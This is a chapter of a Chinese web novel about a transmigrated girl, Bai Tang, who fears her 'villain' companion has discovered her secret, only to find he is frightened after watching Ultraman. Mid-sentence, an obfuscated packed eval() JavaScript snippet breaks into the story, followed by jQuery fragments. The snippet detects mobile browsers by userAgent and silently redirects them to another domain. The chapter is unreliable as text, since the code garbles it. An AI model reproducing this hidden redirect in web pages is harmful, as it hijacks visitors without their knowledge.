白棠早就料到会有这么一天。
她的家、亲人朋友都在这里,她的所有认知、思维习惯皆与这个世界相符,反派少年就算是傻子,也是活了快千年的傻子精,肯定会发现她不属于修仙世界,这里才是她的归属。
所以关于这个问题的答案,她已经想过平行世界、穿书特工、失忆头痛等等好几个版本了,但感觉都不靠谱。
毕竟想要解释清楚,就会涉及她是如何出现在修仙世界的,再追溯下去,又会牵涉到是谁在幕后让她穿越,为什么让她穿越过去。
总不能直接说是系统把她绑过去阻止他毁灭世界吧?
她就是个安插在反派少年身边的二五仔啊,是他最恨的类型,被他知道了那还能有活路吗?
她和这个世界都得玩完。
只好当个得过且过的鸵鸟,一直拖到现在都没有主动解释,没想到炸弹自己炸了。
可是反派少年是怎么知道的,是系统告诉他的,还是从影视小说中看到相似的情节联想到了?
他到底知道了多少?
是什么时候知道的?为什么现在才问?
白棠紧张地吞咽口水,小小的脑子像是被塞进了整个宇宙,各种问题缠绕,害她头脑混沌。
她知道自己沉默了很久,片头曲都快播完了,她还没有回答。
而反派少年一直沉默地等待,他隐匿在黑暗中,唯有金棕色的眼眸放光,宛如深夜伏击的野兽,好似下一秒就会扑上来撕开她的喉咙。
她急得快哭了,嗫嚅着张开口,“你知道了呀?哈哈。”
第一个音就走了调,她紧紧抠着抱枕边缘,大脑一片空白,语言没什么逻辑,“我确实是穿越到那个世界的,但是是我自己穿过去的!没有人帮我!真的!虽然我也不知道原因,就……就莫名其妙出现在那里,然后差点死掉,再然后你出现了,救下我。”
她发觉自己跑题了,轻咳了下掩饰心虚,“后面的事情你都知道了,我就不说了。回到这个世界后,我本来想告诉你的,但一直没找到合适的机会,我……”
“别说了。”反派少年突然打断她。
白棠吓得立即住嘴,不知道哪句话惹恼他。
“电视开始了。”片头曲播完了,他转过头盯着屏幕,不再看她。
“好。”白棠轻飘飘地回答,声音小地只有自己能听到。
这种感觉就好似被送上断头台,她趴好认命等死,铡刀也“铛”地落下擦着她的后脖颈,可刽子手突然说外卖到了,他去吃个午饭,等下回来再杀她。
她就干趴在那里,要死不死的。
古人云,一鼓作气,再而衰,三而竭。
做死亡的准备也一样的好吗?怎么就不能像上神那样干脆给她一个激光束结束算了?
白棠在心里怨念控诉,反派少年像是听到了她的心声,直接抽走了被她霍霍的抱枕。
不要啊,那是她唯一的盾牌!
原本抱枕横在两人中间,现在被少年死死捏在手里,柔软的布料皱成可怕丑陋的纹路,里边的棉花像是快要炸出来。
他是不是在暗示她?等下他也会把她捏得起皱,五脏六腑都爆开?
白棠小心翼翼地抬起眼,偷偷观察。
少年斜靠在沙发另一头,嘴角微微下垂,目光紧紧盯着电视屏幕,没什么表情,当然也可以解读为面色不善。
通常情况下,他都是情绪外放的,心里怎么想的脸上就怎么表现出来,很少有像现在这样放空无表情的状态。
白棠完全读不懂,怕看久了被他发现,连忙转回视线,努力将注意力放在电视上。
故事刚好演到伪装成人类的怪兽正在收集人体标本,被发现真身后,将主角逼到了死胡同。
最紧要关头,激光枪却没有能量了,怪兽抬起干瘪的双手,摆出一副要掐死人的架势,苍白的面颊全是类似莲蓬头的小孔,没有任何表情,巨大的身影笼罩在主角身上,怪兽的身体忽影忽现,步步紧逼,像是鬼魂般扑上来……
不知道是不是受心情的影响,她怎么感觉这一集格外瘆人。
尽管如此,她还是希望不要结束,等电视里的恐怖画面结束,就轮到她直面恐怖了。
电视根本听不到她的求救,自顾自地播完这集,跳过片尾片头,直接进入下一集。
白棠如坐针毡,不敢说话也不敢起身走动,就这样一集集看下去,等播完最后一集已是深夜。
“终于结束了。”她的声音特别不自然,“好困啊,我想睡觉了。”
说完就想立即从沙发逃到卧室,可是僵硬地侧卧了一晚上,她的双腿已经发麻,连起身都难。
破腿快动啊,再不走,继续之前的话题,她真的会死。
“白糖。”他突然唤她。
她认命地停下动作,等待铡刀落下。
“奥特曼真的存在吗?”
啊?
你在问什么啊?
这个人怎么完全不按常理出牌!
还不如直接严刑拷打呢!杀我不要用慢刀!
冷静下来想想,反派少年还是中二病的年龄,可能和其他男孩子一样,相信光的存在。
“很有可能。”她说,“宇宙这么大,搞不好真的存在M87星云,未来有天科技足够发达,奥特曼就可以来拯救地球了。”
反派少年听完这句话又沉默了,实在太反常。
“那我去睡觉了?”她小心翼翼地问,他没有同意也没有反对,好似电视里的怪兽那般默默隐身了。
他们从下午就开始看电视,一直没开灯,现在窗外是电闪雷鸣的暴雨,将窗户吹得呼呼响,平日温馨的家现在和破落的鬼屋差不多。
白棠战战兢兢地洗漱,冲回卧室,铺床准备睡觉。
一道闪电亮起,电灯滋啦作响,如鬼片那样忽闪忽灭,啪地一声灯丝烧断了。
紧接着一道黢黑扭曲的鬼影出现在脚下,蔓延到窗上,吓得她立即掀开被子缩进去,“鬼啊!”
“我不是鬼,我是神。”反派少年站在卧室门口,此刻他的声音也鬼魂般幽怨,“我要和你一起睡。”
“不行,哥哥知道了会生气的。”
“白洛又不在。”他几步走到床前,不管不顾,就要爬床。
白棠还想拒绝,但又怕惹他不高兴,只能委屈巴巴地往后缩,让了半张床出去。
上次他们同床共枕,他是睡在被子上的,这次已经熟练地钻进了她的被窝,枕在她的枕头上。
不过白棠完全没有任何旖旎的心思,她死尸般躺着不敢动,反倒是少年翻来覆去,像是在泥地里打滚的鳄鱼,整个床都跟着晃。
许久,他凑到她耳边轻声问,“你怕吗?”
被这么折磨一晚上,白棠的情绪终
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732455|171102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于压不住了,呜呜哭着,“怕啊,我是迫不得已隐瞒穿越者身份的,你不要记恨我,不要报复我……”
还没说完,反派少年猛地坐起身,白棠的眼泪立刻就止住了,睁大眼睛看着他。
“阿白你怎么能这么想我!”他的语气讶然,又带着怒意,“你可是我唯一的朋友,我怎么会报复你?!”
黄厄辰是从系统那里得知白棠是穿越者的事情,他有点惊讶,但也没想过要确认。
那时他以为她是个没有秘密的人,而且都过去了也没什么好问的,可是前两天在公交车上聊天,他突然发现白棠也有秘密。
不过他的行事风格向来直接,没有什么弯弯绕绕,随口问了句,没想到问出这个结果。
他应该勃然大怒的,可是看她被吓得瑟瑟发抖,泪眼婆娑,那股怒火就烧不起来。
奇怪了,他明明喜欢看她哭的,为什么这次会觉得心里不舒服呢?
“我就是和你确认下,看系统有没有骗我……算了,随便你怎么想,反正我才没那么小肚鸡肠。”他重新躺回去,语气不自觉地放软了,哼哼唧唧道,“我是在问你刚才看电视,你会不会害怕?”
白棠大脑转了好几圈,才反应过来,原来他刚才所有的异常都是害怕的反应,他胆子居然这么小!晚上都不敢一个人睡觉!
危机解除,或者说危机根本就不曾存在过。
她柔声向他道歉,又用哄小孩的话术哄他,“电视上演的都是骗人的,都是特效,现实哪来的怪兽?乖,没什么好怕的。”
“但奥特曼是真的吧?你刚才说M87星云是存在的。”黄厄辰面无表情地揪紧了被子,“无论多么厉害的怪兽最后都被奥特曼干掉了,好可怕。”
不愧是反派少年,看电视代入的都是怪兽视角,让他害怕的居然是奥特曼。
白棠想笑赶忙用哈欠掩盖过去,“奥特曼也不是不分青红皂白直接动手,有些好怪兽还会得到他的保护。”
“但是好怪兽都不得善终,所以坏就得坏得彻底!”
“也有好结局的,只是刚才你看的那几集没有,让我想想看。”白棠努力回忆着。
两人有一搭没一搭地聊天,不知不觉进入了梦乡。
五一假期结束,又又又开学了。
整个高二年级在操场召开宣讲会,年级前几的优等生轮流上台分享学习心得,大家宣誓冲刺高考。
天台四天王集体缺席,逃到他们的秘密基地。
大罗一看到黄厄辰就说,“这个假期怎么叫你都不出来,也太重色轻友了吧?”
“你们又不是朋友,只是信徒,白糖才是我唯一的朋友。”
“欸?我们不算朋友吗?”
黄厄辰直接无视他的哀嚎,看王沐不在,疑惑道,“四眼呢?”
冥王给出情报,“他啊,说是吃了卖剩的炒饭在厕所拉肚子。”
“好吧。”黄厄辰有些失落,“上次他说朋友分三六九等,我还想问问他,怎么才能成为朋友中最特殊、最唯一、最重要的那个。”
其他三人低头思忖,最特殊最唯一最重要的朋友,那不就是男朋友?
“你想做学委男朋友啊?”大罗拍拍他的肩膀,嘲弄道,“之前还说不复合,只做普通朋友就好了,现在这算什么?”
冥王:“得陇望蜀。”
阿柴:“图穷匕见。”